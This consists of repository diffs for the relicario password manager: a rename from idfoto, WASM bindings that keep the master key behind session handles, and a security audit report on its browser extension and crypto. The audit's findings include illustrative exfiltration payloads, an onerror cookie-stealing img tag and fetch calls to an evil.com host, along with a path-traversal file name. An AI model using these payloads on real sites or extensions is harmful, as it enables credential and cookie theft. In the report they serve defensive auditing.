let wrong = derive_master_key(b"wrong", &img, &salt, &fast_params()).unwrap();
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
let blob = encrypt_item(&item, &right).unwrap();
let err = decrypt_item(&blob, &wrong);
assert!(matches!(err, Err(RelicarioError::Decrypt)));
}

View File

@@ -1,20 +1,19 @@
[package]
name = "idfoto-wasm"
name = "relicario-wasm"
version = "0.1.0"
edition = "2021"
description = "WASM bindings for idfoto password manager"
description = "WASM bindings for relicario password manager"
[lib]
crate-type = ["cdylib", "rlib"]
[dependencies]
idfoto-core = { path = "../idfoto-core" }
relicario-core = { path = "../relicario-core" }
wasm-bindgen = "0.2"
js-sys = "0.3"
serde-wasm-bindgen = "0.6"
serde_json = "1"
hmac = "0.12"
sha1 = "0.10"
data-encoding = "2"
serde = { version = "1", features = ["derive"] }
zeroize = "1"
getrandom = { version = "0.2", features = ["js"] }
[dev-dependencies]

View File

@@ -0,0 +1,282 @@
//! WASM bindings for relicario.
//!
//! The bridge exposes an opaque `SessionHandle` API: the master key is held
//! entirely in WASM linear memory, wrapped in `Zeroizing<[u8; 32]>`, and
//! looked up per call via a u32 handle. JS cannot read key bytes.
mod session;
use wasm_bindgen::prelude::*;
use relicario_core::{derive_master_key, imgsecret, KdfParams};
/// Handle type returned from `unlock`. Backed by a `u32`; opaque to JS.
#[wasm_bindgen]
pub struct SessionHandle(u32);
#[wasm_bindgen]
impl SessionHandle {
#[wasm_bindgen(getter)]
pub fn value(&self) -> u32 { self.0 }
}
#[wasm_bindgen]
pub fn unlock(
passphrase: &str,
image_bytes: &[u8],
salt: &[u8],
params_json: &str,
) -> Result<SessionHandle, JsError> {
let params: KdfParams = serde_json::from_str(params_json)
.map_err(|e| JsError::new(&format!("params: {e}")))?;
let image_secret = imgsecret::extract(image_bytes)
.map_err(|e| JsError::new(&e.to_string()))?;
let salt_arr: &[u8; 32] = salt.try_into()
.map_err(|_| JsError::new("salt must be exactly 32 bytes"))?;
let master_key = derive_master_key(passphrase.as_bytes(), &image_secret, salt_arr, &params)
.map_err(|e| JsError::new(&e.to_string()))?;
let handle = session::insert(master_key);
Ok(SessionHandle(handle))
}
#[wasm_bindgen]
pub fn lock(handle: &SessionHandle) -> bool {
session::remove(handle.0)
}
// Subsequent wasm_bindgen fns added in Tasks 19-21.
use serde_wasm_bindgen::Serializer;
use relicario_core::{
decrypt_item, decrypt_manifest, decrypt_settings,
encrypt_item, encrypt_manifest, encrypt_settings,
Item, Manifest, VaultSettings,
};
fn need_key(handle: &SessionHandle) -> Result<(), JsError> {
if session::with(handle.0, |_| ()).is_some() { Ok(()) }
else { Err(JsError::new("invalid or locked session handle")) }
}
fn js_value_for<T: serde::Serialize>(v: &T) -> Result<JsValue, JsError> {
let ser = Serializer::new().serialize_maps_as_objects(true);
v.serialize(&ser).map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn manifest_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_manifest(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn manifest_encrypt(handle: &SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let m: Manifest = serde_json::from_str(manifest_json)
.map_err(|e| JsError::new(&format!("manifest json: {e}")))?;
session::with(handle.0, |k| encrypt_manifest(&m, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn item_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_item(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn item_encrypt(handle: &SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let item: Item = serde_json::from_str(item_json)
.map_err(|e| JsError::new(&format!("item json: {e}")))?;
session::with(handle.0, |k| encrypt_item(&item, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn settings_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_settings(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn settings_encrypt(handle: &SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let s: VaultSettings = serde_json::from_str(settings_json)
.map_err(|e| JsError::new(&format!("settings json: {e}")))?;
session::with(handle.0, |k| encrypt_settings(&s, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
// ── Task 20: attachment / generator / imgsecret / ID / TOTP bridges ─────────
use relicario_core::{decrypt_attachment, encrypt_attachment, FieldId, ItemId};
#[wasm_bindgen]
pub struct EncryptedAttachment {
aid: String,
bytes: Vec<u8>,
}
#[wasm_bindgen]
impl EncryptedAttachment {
#[wasm_bindgen(getter)] pub fn aid(&self) -> String { self.aid.clone() }
#[wasm_bindgen(getter)] pub fn bytes(&self) -> Vec<u8> { self.bytes.clone() }
}
#[wasm_bindgen]
pub fn attachment_encrypt(
handle: &SessionHandle,
plaintext: &[u8],
max_bytes: u64,
) -> Result<EncryptedAttachment, JsError> {
need_key(handle)?;
let enc = session::with(handle.0, |k| encrypt_attachment(plaintext, k, max_bytes))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
Ok(EncryptedAttachment { aid: enc.id.as_str().to_owned(), bytes: enc.bytes })
}
#[wasm_bindgen]
pub fn attachment_decrypt(
handle: &SessionHandle,
encrypted: &[u8],
) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let plain = session::with(handle.0, |k| decrypt_attachment(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
Ok(plain.to_vec())
}
#[wasm_bindgen] pub fn new_item_id() -> String { ItemId::new().as_str().to_owned() }
#[wasm_bindgen] pub fn new_field_id() -> String { FieldId::new().as_str().to_owned() }
use relicario_core::{
generate_passphrase as core_generate_passphrase,
generate_password as core_generate_password,
rate_passphrase as core_rate_passphrase,
GeneratorRequest,
};
#[wasm_bindgen]
pub fn generate_password(request_json: &str) -> Result<String, JsError> {
let req: GeneratorRequest = serde_json::from_str(request_json)
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
let out = core_generate_password(&req).map_err(|e| JsError::new(&e.to_string()))?;
Ok(out.as_str().to_owned())
}
#[wasm_bindgen]
pub fn generate_passphrase(request_json: &str) -> Result<String, JsError> {
let req: GeneratorRequest = serde_json::from_str(request_json)
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
let out = core_generate_passphrase(&req).map_err(|e| JsError::new(&e.to_string()))?;
Ok(out.as_str().to_owned())
}
#[wasm_bindgen]
pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError> {
let est = core_rate_passphrase(p);
js_value_for(&serde_json::json!({
"score": est.score,
"guesses_log10": est.guesses_log10,
}))
}
#[wasm_bindgen]
pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError> {
let s = imgsecret::extract(image_bytes).map_err(|e| JsError::new(&e.to_string()))?;
Ok(s.to_vec())
}
#[wasm_bindgen]
pub fn embed_image_secret(carrier: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError> {
let s: &[u8; 32] = secret.try_into()
.map_err(|_| JsError::new("secret must be exactly 32 bytes"))?;
imgsecret::embed(carrier, s).map_err(|e| JsError::new(&e.to_string()))
}
use relicario_core::item_types::{TotpConfig, compute_totp_code};
#[wasm_bindgen]
pub struct TotpCode {
code: String,
expires_at: u64,
}
#[wasm_bindgen]
impl TotpCode {
#[wasm_bindgen(getter)] pub fn code(&self) -> String { self.code.clone() }
#[wasm_bindgen(getter)] pub fn expires_at(&self) -> u64 { self.expires_at }
}
#[wasm_bindgen]
pub fn totp_compute(
config_json: &str,
now_unix_seconds: u64,
) -> Result<TotpCode, JsError> {
let cfg: TotpConfig = serde_json::from_str(config_json)
.map_err(|e| JsError::new(&format!("totp config: {e}")))?;
let code = compute_totp_code(&cfg, now_unix_seconds)
.map_err(|e| JsError::new(&e.to_string()))?;
let period = cfg.period_seconds as u64;
let expires_at = ((now_unix_seconds / period) + 1) * period;
Ok(TotpCode { code, expires_at })
}
#[cfg(test)]
mod session_tests {
use super::*;
use zeroize::Zeroizing;
#[test]
fn insert_then_remove_clears_entry() {
session::clear();
let h = session::insert(Zeroizing::new([0x11u8; 32]));
assert_ne!(h, 0);
assert!(session::remove(h));
assert!(!session::remove(h)); // second remove false
}
#[test]
fn with_yields_key_only_while_session_lives() {
session::clear();
let h = session::insert(Zeroizing::new([0x22u8; 32]));
let byte = session::with(h, |k| k[0]);
assert_eq!(byte, Some(0x22));
session::remove(h);
let byte = session::with(h, |k| k[0]);
assert_eq!(byte, None);
}
#[test]
fn manifest_round_trip_via_handle() {
use relicario_core::{Manifest, decrypt_manifest};
session::clear();
let h = session::insert(Zeroizing::new([0x55u8; 32]));
let handle = SessionHandle(h);
let key = Zeroizing::new([0x55u8; 32]);
let empty = Manifest::new();
let bytes = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
assert!(!bytes.is_empty());
// Decrypt via core directly (avoids js-sys on native).
let parsed: Manifest = decrypt_manifest(&bytes, &key).unwrap();
assert_eq!(parsed.items.len(), 0);
// Random nonces mean two encryptions of the same plaintext differ.
let bytes2 = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
assert_ne!(bytes, bytes2, "nonces must differ");
}
}

View File

@@ -0,0 +1,41 @@
//! Opaque session-handle bridge. The master key never leaves WASM linear
//! memory; JS receives only a u32 handle that it passes back on every
//! subsequent call.
use std::cell::RefCell;
use std::collections::HashMap;
use zeroize::Zeroizing;
thread_local! {
static SESSIONS: RefCell<HashMap<u32, Zeroizing<[u8; 32]>>> = RefCell::new(HashMap::new());
static NEXT_HANDLE: RefCell<u32> = const { RefCell::new(1) };
}
pub fn insert(key: Zeroizing<[u8; 32]>) -> u32 {
let handle = NEXT_HANDLE.with(|n| {
let mut n = n.borrow_mut();
let h = *n;
*n = n.wrapping_add(1);
if *n == 0 { *n = 1; } // avoid reserving 0 as a valid handle
h
});
SESSIONS.with(|s| { s.borrow_mut().insert(handle, key); });
handle
}
pub fn with<F, R>(handle: u32, f: F) -> Option<R>
where
F: FnOnce(&Zeroizing<[u8; 32]>) -> R,
{
SESSIONS.with(|s| s.borrow().get(&handle).map(f))
}
pub fn remove(handle: u32) -> bool {
SESSIONS.with(|s| s.borrow_mut().remove(&handle).is_some())
}
/// For tests only — empty the table and wipe all sessions.
#[cfg(test)]
pub fn clear() {
SESSIONS.with(|s| s.borrow_mut().clear());
}

View File

@@ -1,4 +1,4 @@
# idfoto — Architecture
# relicario — Architecture
## System Overview
@@ -7,7 +7,7 @@
│ CLIENT DEVICE (trusted) │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────────────┐ │
│ │ Reference │ │ Passphrase │ │ idfoto-cli │ │
│ │ Reference │ │ Passphrase │ │ relicario-cli │ │
│ │ JPEG │ │ (typed) │ │ or browser ext │ │
│ │ (on disk) │ │ │ │ │ │
│ └──────┬───────┘ └──────┬───────┘ └──────────┬───────────┘ │
@@ -42,12 +42,12 @@
┌──────────────────────────────────────────────────────────────────┐
│ GIT SERVER (untrusted) │
│ │
idfoto-vault.git/ │
relicario-vault.git/ │
│ ├── manifest.enc ← opaque ciphertext │
│ ├── entries/ │
│ │ ├── a1b2c3d4.enc ← opaque ciphertext │
│ │ └── e5f6a7b8.enc ← opaque ciphertext │
│ └── .idfoto/ │
│ └── .relicario/ │
│ ├── salt ← 32 bytes (not secret) │
│ ├── params.json ← KDF params (not secret) │
│ └── devices.json ← device public keys (not secret) │
@@ -209,15 +209,15 @@ Input JPEG (possibly re-encoded or cropped)
```
┌────────────────────────────────────────────────────────────┐
idfoto-cli │
relicario-cli │
│ Filesystem, git (shelling out), terminal I/O, clipboard │
│ │
│ Depends on: idfoto-core, clap, anyhow, rpassword, arboard │
│ Depends on: relicario-core, clap, anyhow, rpassword, arboard │
└──────────────────────┬─────────────────────────────────────┘
│ uses
┌────────────────────────────────────────────────────────────┐
idfoto-core │
relicario-core │
│ Platform-agnostic: bytes in, bytes out │
│ No filesystem, no network, no git │
│ │
@@ -230,7 +230,7 @@ Input JPEG (possibly re-encoded or cropped)
│ │ │ │ QIM │ │ │ │ manifest() │ │
│ └──────────┘ └──────────┘ └─────────┘ └────────────┘ │
│ │
│ Future: idfoto-wasm wraps this for browser extension │
│ Future: relicario-wasm wraps this for browser extension │
│ Future: JNI/Swift wrappers for Android/iOS │
└────────────────────────────────────────────────────────────┘
```

View File

@@ -0,0 +1,372 @@
# relicario Security Audit Report
**Date:** 2026-04-18
**Scope:** Full static review of `crates/relicario-core/`, `crates/relicario-cli/`, `crates/relicario-wasm/`, `extension/src/`, both manifests, both webpack configs, and the design spec at `docs/superpowers/specs/2026-04-11-relicario-design.md`.
**Methodology:** Static review against the project's documented threat model.
---
## CRITICAL
### C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension
**File:** `extension/manifest.json:33-36`, `extension/manifest.firefox.json:38-40`; consumed by `extension/src/setup/setup.ts:540-568` and `extension/src/service-worker/index.ts:314-322`.
**Issue:** `setup.html` and `setup.js` are listed in `web_accessible_resources` with `matches: ["<all_urls>"]`. The setup page calls `chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 })` from the *page context* (not from the extension popup), and the service worker accepts that message with no sender check at all (`_sender` is unused at `service-worker/index.ts:117`). Any page on the internet can:
1. Open or iframe `chrome-extension://<id>/setup.html` (it's web-accessible, so framing/loading is allowed).
2. Run JS inside that page that calls `chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '<attacker-jpeg>' })` — the setup page already has the chrome.runtime API available.
3. Even simpler: from setup.html itself, `chrome.runtime.sendMessage` is available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded.
The service worker overwrites `vaultConfig` and `imageBase64` in `chrome.storage.local` (`index.ts:315-318`) and resets `gitHost = null` so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the *attacker's* manifest from the *attacker's* repo using the *attacker's* image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo.
This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising *neither* factor is sufficient — silently swapping the image and remote bypasses the entire scheme.
**Why it matters:** This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login.
**Remediation:**
1. Remove `setup.html`, `setup.js`, `relicario_wasm.js`, and `relicario_wasm_bg.wasm` from `web_accessible_resources` entirely. The setup page is opened with `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` from the popup (`setup-wizard.ts:28`), which works fine without `web_accessible_resources` for own-origin tabs.
2. In the `save_setup` handler, validate the sender: require `sender.id === chrome.runtime.id` AND `sender.url?.startsWith(chrome.runtime.getURL('setup.html'))`. Reject all other senders.
3. If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding.
4. Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible.
---
### C2. Service-worker `chrome.runtime.onMessage` handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault
**File:** `extension/src/service-worker/index.ts:116-441`.
**Issue:** The handler ignores `_sender` and treats every message identically. The content script runs on `<all_urls>` and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely:
- A content script (one per page, injected on every site) can send `{ type: 'list_entries' }`, `{ type: 'search_entries', query: '' }`, then loop `{ type: 'get_entry', id }` for every id and ship full plaintext credentials off-domain via `fetch()`. The vault is unlocked once, then any page's content script can drain it.
- The content script as written (`fill.ts`, `icon.ts`, `capture.ts`) only reaches for `get_credentials` after the user clicks the injected "id" icon, but **chrome.runtime.sendMessage from the content script is not gated by user gesture**. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type.
- More immediately: the `get_credentials` handler (`index.ts:289-296`) returns the password to *any* caller, with no check that the requested `id` corresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sends `get_credentials` for an arbitrary `id` enumerated via `get_autofill_candidates` for *another* hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back."
**Why it matters:** Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path.
**Remediation:**
1. Split the message router into two surfaces. Popup-only operations (`unlock`, `lock`, `list_entries`, `get_entry`, `add_entry`, `update_entry`, `delete_entry`, `get_totp` for arbitrary id, `save_setup`, `get_setup_state`, `update_settings`, `get_blacklist`, `remove_blacklist`, `generate_password`) must reject if `sender.url` is not `chrome-extension://<id>/popup.html` or the setup page.
2. Content-script-callable operations (`get_autofill_candidates`, `get_credentials`, `check_credential`, `fill_credentials`, `blacklist_site`) must verify (a) `sender.tab?.id` matches the active tab and (b) the requested entry's stored URL hostname equals `new URL(sender.tab.url).hostname` before returning a password. Today there is no such check — `get_credentials` (`index.ts:289-296`) blindly trusts the id.
3. Require user confirmation in the popup before the first autofill on any new origin.
---
### C3. Capture prompt injects attacker-controlled DOM strings via `innerHTML` and is built on layered HTML escaping that is incomplete
**File:** `extension/src/content/capture.ts:172-191`, `escapeForHtml` at lines 270-274.
**Issue:** The capture prompt is appended to the *page's* DOM (`document.body.appendChild(container)`) with content like `${escapeForHtml(hostname)}` and `${escapeForHtml(displayUser)}` interpolated into a template literal that is then assigned to `innerHTML`. Two problems:
a) `escapeForHtml` uses the `div.textContent` round-trip trick. That escapes `&`, `<`, `>`, but **does not escape `"`**. The escaped value is then dropped into an HTML template inside `<strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong>` — between tags, so quotes don't matter. **However** the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain `<` or `&`), but `username` is interpolated as `${escapeForHtml(displayUser)}` where `displayUser = `(${username})``. The `username` value comes from `findUsernameValue(pwField)` (`capture.ts:26-67`) which walks the page's `<input>` values — every byte of which is attacker-controlled. A page can stuff an `<input value="<img src=x onerror=fetch('//evil/?'+document.cookie)>">` and get the prompt to render that image tag.
The textContent round-trip *does* escape `<`, `>`, and `&`, so injection of raw `<img>` tags is blocked. But:
b) The DOM the script is constructing lives in the **page's** document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (`#relicario-capture-prompt`, `#relicario-save-btn`, etc.). Page JS can:
- Wait for the prompt to appear via `MutationObserver`, read the `<strong>` text to learn the username being saved.
- Programmatically `.click()` `#relicario-save-btn` to silently save attacker-substituted credentials to the user's vault. (The `Save` handler reads `username` and `password` from variables captured at `showPrompt` call time, so it'll save *correct* values — but the page can replace the button's click listener via `cloneNode`/`replaceWith` or wrap it.)
- Programmatically `.click()` `#relicario-never-btn` to suppress capture for the user's *real* sites by getting them blacklisted via a confusable hostname.
c) The injected button uses `id="relicario-save-btn"`. If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead.
**Why it matters:** The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting *any* form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get `Never`-clicked and silently blacklisted.
**Remediation:**
1. Render the prompt inside a closed Shadow DOM: `const root = container.attachShadow({ mode: 'closed' });` then `root.innerHTML = ...`. Closed shadow DOM is invisible to the page's JS.
2. Replace `escapeForHtml(displayUser)` with `textContent` assignments rather than `innerHTML`. Construct the DOM with `document.createElement` + `.textContent =` for any attacker-derived strings.
3. Treat all values from `findUsernameValue` as fully untrusted; sanity-check they're not control characters or exceptionally long.
4. Do not use stable IDs (`relicario-save-btn`) on elements injected into a hostile DOM.
---
### C4. Autofill has no origin check — credentials handed to any page that asks
**File:** `extension/src/service-worker/index.ts:283-296`, `extension/src/content/icon.ts:63-91`.
**Issue:** `get_autofill_candidates` accepts a `url` field from the message payload, not from `sender.tab.url`. A content script (or, given C2, anything posting a message) supplies the URL. `findByUrl` (`vault.ts:117-137`) matches by hostname equality. Then `get_credentials` returns *any* entry by id with no URL check whatsoever (`index.ts:289-296`). So:
- A page at `evil.com` sends `{ type: 'get_autofill_candidates', url: 'https://github.com' }` → gets back the GitHub entry id.
- Then sends `{ type: 'get_credentials', id }` → receives the GitHub username + password in plaintext.
- Then ships them off via `fetch('https://evil.com/exfil', { body: ... })`.
The icon-click flow is presented as the "intended" path, but nothing in the code enforces that the icon must be the trigger. The design spec section "Autofill anti-phishing (origin checks)" is referenced in the audit prompt but is not implemented anywhere.
**Why it matters:** This is the classic phishing primitive a password manager exists to prevent. relicario currently has weaker origin discipline than even a manually-typed-in form would have.
**Remediation:**
1. In `get_autofill_candidates` and `get_credentials`, ignore any URL passed in the message. Use `sender.tab.url` and require `sender.tab.id === activeTabId`.
2. Before returning a credential, confirm the entry's stored `url`'s hostname matches the sender tab's hostname. Reject otherwise.
3. Only allow autofill in the top-level frame: check `sender.frameId === 0`.
4. Consider requiring user confirmation in the popup the first time a hostname requests autofill (TOFU origin acknowledgement).
---
## HIGH
### H1. Argon2id password input is the unprefixed concatenation of passphrase || image_secret — collision-engineerable second-preimage path
**File:** `crates/relicario-core/src/crypto.rs:225-227`.
**Issue:** `password = passphrase || image_secret`. Two distinct (passphrase, image_secret) pairs produce the same Argon2id input — e.g. `("abc", [0x44, 0x55, …])` and `("abcD", [0x55, …])` differ only in where the boundary sits but produce identical concatenations and therefore identical master keys. The design spec explicitly calls this out as "the canonical Argon2id API — no custom construction" but it's not canonical at all; concatenating two variable-length values without a length prefix is a textbook construction smell.
**Why it matters in this threat model:** The image_secret is fixed-length (32 bytes), so an attacker cannot freely craft pairs. But: in any future enhancement where the image_secret length changes (e.g., 64-byte for v2), or if the passphrase is allowed to contain bytes that look like leading bytes of an image_secret, the ambiguity becomes real. More immediately, it's a deviation from cryptographic hygiene that doesn't help the security argument and is trivial to fix. Also relevant: passphrases aren't strictly bounded — UTF-8 normalization differences (e.g., NFC vs NFD on macOS) could combine with image_secret in surprising ways.
**Remediation:**
```rust
let mut password = Vec::with_capacity(8 + passphrase.len() + 32);
password.extend_from_slice(&(passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(passphrase);
password.extend_from_slice(image_secret);
```
Or better, use Argon2id's own `additional_data` / `secret` parameter (if exposed by the `argon2` crate's `Params`) to keep them domain-separated. This is a format-breaking change so it must be tied to a version bump in `params.json` / a new `VERSION_BYTE`.
Cite spec line: the spec at "Key derivation" explicitly says "concatenated, 32-byte secret appended" — this audit recommends amending the spec to use length-prefixing.
---
### H2. Master key never zeroized; `Vec<u8>` from `derive_master_key` and intermediate buffers leak into reallocated heap
**File:** `crates/relicario-core/src/crypto.rs:205-235`, `crates/relicario-cli/src/main.rs:204-218` and every command that calls `unlock`.
**Issue:** The Argon2id output (`output: [u8; 32]`) is returned by value, copied into an owned `Vec` in `relicario-wasm`'s `derive_master_key` (`lib.rs:62`), then handed to JS as a `Uint8Array` whose backing memory lives in the WASM linear memory. Nothing implements `Drop` to wipe the bytes. The intermediate `password` Vec at `crypto.rs:225-227` (which contains the *passphrase plaintext* alongside the image_secret) is also dropped without zeroizing — its buffer is freed and may be reallocated for unrelated purposes, retaining the passphrase in process memory until overwritten.
In the CLI, the passphrase string from `rpassword::prompt_password_stderr` (an owned `String`) is also not zeroized. The `master_key: [u8; 32]` returned from `unlock` is just a stack array — better — but it gets passed by reference to `encrypt_entry` etc. which call into XChaCha20Poly1305 internals that may copy the key.
**Why it matters:** Anything that captures a memory dump (crash dump, swap, hibernation file, attacker with debugger after suspend-to-disk) can recover the passphrase, image_secret, and master key from regions of freed heap. The threat model lists "Stolen device" as in-scope.
**Remediation:**
1. Add `zeroize = "1"` and `zeroize_derive` to `relicario-core`.
2. Wrap `master_key` in `Zeroizing<[u8; 32]>` in both `derive_master_key` return and at all CLI/WASM call sites.
3. Wrap the temporary `password` Vec in `Zeroizing<Vec<u8>>` so its contents are wiped on drop.
4. In the CLI, zeroize the passphrase string immediately after passing into `derive_master_key`.
5. In the service worker, after a successful unlock, immediately overwrite the JS `passphrase` string the popup sent (best effort — JS strings are immutable, so accept this is partial; primary defense is keeping passphrase short-lived).
6. For the WASM bridge, prefer passing key handles by id and keeping the bytes inside Rust's WASM linear memory in zeroizing structures, never returning them to JS as a `Uint8Array`. This is a larger refactor but is the correct architecture for a password manager.
---
### H3. Passphrase strength gate is purely cosmetic; the only enforced minimum is 8 characters
**File:** `crates/relicario-cli/src/main.rs:354-356`, `extension/src/setup/setup.ts:74-85, 363-373`.
**Issue:** The CLI requires `>= 8` characters — no entropy enforcement. The extension calls `passphraseStrength()` purely for the colored bar; the create-vault step accepts any non-empty passphrase including a single character (`if (!state.passphrase) bail`). This contradicts the spec's "Adversaries → Stolen device + weak passphrase: enforce minimum passphrase strength at vault creation" defense.
The threat model says the passphrase carries the entire entropy load against an attacker who has stolen the device + reference image. With a single low-entropy passphrase, all the elaborate two-factor design collapses to "Argon2id over a weak password," which a determined adversary can crack.
**Why it matters:** Spec invariant "Stolen device + weak passphrase. Universal worst case." The mitigation listed in the spec is "Enforce minimum passphrase strength at vault creation" — currently not enforced.
**Remediation:**
1. In the extension's setup wizard, refuse to proceed unless `passphraseStrength` returns `'good'` or `'strong'`, OR display an explicit warning and require the user to type a confirmation phrase.
2. In the CLI, integrate `zxcvbn` (Rust crate) and require an estimated guess count >= 2^45 or similar.
3. Document the enforced minimum in the spec.
---
### H4. CLI git_commit shells out without disabling pager / signed commits / hooks; no git config isolation
**File:** `crates/relicario-cli/src/main.rs:239-257, 402-405, 736-756`.
**Issue:** Every CLI mutation runs `git add -A` then `git commit -m <message>`. There are no environmental guards:
- If the user has a global `commit.gpgsign = true`, `git commit` will block waiting on a passphrase prompt while the master key is held in process memory. Not directly a vuln, but exacerbates H2.
- If a malicious `.git/hooks/pre-commit` script exists in the vault directory (e.g., the user pulled a compromised vault), it will execute every time the user runs any vault mutation. Hooks don't ship in `git clone`, so this is mostly defensive. Mitigate via `git -c core.hooksPath=/dev/null`.
- `git pull --rebase` (`main.rs:737-738`) without `--no-edit` may drop into an editor for conflict markers; nothing concerning, but a long-running editor session keeps the master_key in memory.
- `git add -A` (line 241) will stage anything in the working tree, including a maliciously-named file like `entries/../../etc/passwd` or symlinks the user didn't notice. Not a direct vuln but means the audit log is broader than just vault content.
**Why it matters:** The shell-out is broad; tightening it is cheap defense in depth.
**Remediation:**
```rust
Command::new("git")
.args(["-c", "core.hooksPath=/dev/null", "-c", "commit.gpgsign=false",
"-c", "core.editor=true", "commit", "-m", message])
```
Stage only the specific files the operation touched (`entries/<id>.enc`, `manifest.enc`, `.relicario/devices.json`) instead of `git add -A`.
---
### H5. WASM `generate_password` uses `Math.random()` — claimed "non-security-critical" is wrong
**File:** `crates/relicario-wasm/src/lib.rs:240-256`.
**Issue:** The doc comment says "Uses `js_sys::Math::random()` for randomness (not cryptographically secure, but sufficient for password character selection)." This is **flatly wrong**. Generated passwords are the user's stored credential for whatever site they're saving — they must be CSPRNG-derived. `Math.random()` is V8's xorshift128+ which is:
- Predictable from a small number of outputs (well-published research).
- Seeded per-realm; many realms share state across timing-correlated origins.
- An attacker who can observe one generated password (e.g., the user later shares it to a now-compromised site, or the page steals it via C3/C4) can in principle recover the RNG state and predict every other password generated in the same session.
The ext-bundled `crypto.getRandomValues` is available in service-worker context (it's used at `setup.ts:384`). There is no reason to use `Math.random` here.
**Remediation:** Replace both `generate_password` and `generate_entry_id` in `relicario-wasm` to use `getrandom` (already in the dependency list with `features = ["js"]` enabled, line in `Cargo.toml`). Equivalent to:
```rust
use rand::{rngs::OsRng, RngCore};
let mut buf = [0u8; 32];
OsRng.fill_bytes(&mut buf);
```
Also remove the false claim "Math.random() is sufficient for non-security-critical" — at minimum for entry IDs. For entry IDs the impact is mild (32 bits of weak randomness → some predictability of filenames in a public repo) but the password case is unambiguously a security bug.
Also: the modulo-by-charset-length introduces small bias (`CHARSET.len() = 87`, not a power of two). Use rejection sampling.
---
### H6. CLI password generator has modulo bias
**File:** `crates/relicario-cli/src/main.rs:308-317`.
**Issue:** `(rng.next_u32() as usize) % CHARSET.len()` where `CHARSET.len() == 75`. Since `2^32 % 75 = 1` (≈), bias is mild, but still nonzero. For a tool whose entire job is generating high-entropy secrets, use `rand::distributions::Uniform` or rejection sampling.
**Remediation:**
```rust
use rand::distributions::{Distribution, Uniform};
let dist = Uniform::from(0..CHARSET.len());
(0..length).map(|_| CHARSET[dist.sample(&mut rng)] as char).collect()
```
---
### H7. `rpassword 5.0.1` is from 2020 and the API used (`prompt_password_stderr`) was deprecated and removed in 6.x
**File:** `crates/relicario-cli/Cargo.toml` (`rpassword = "5"`), `main.rs:205, 352, 358`.
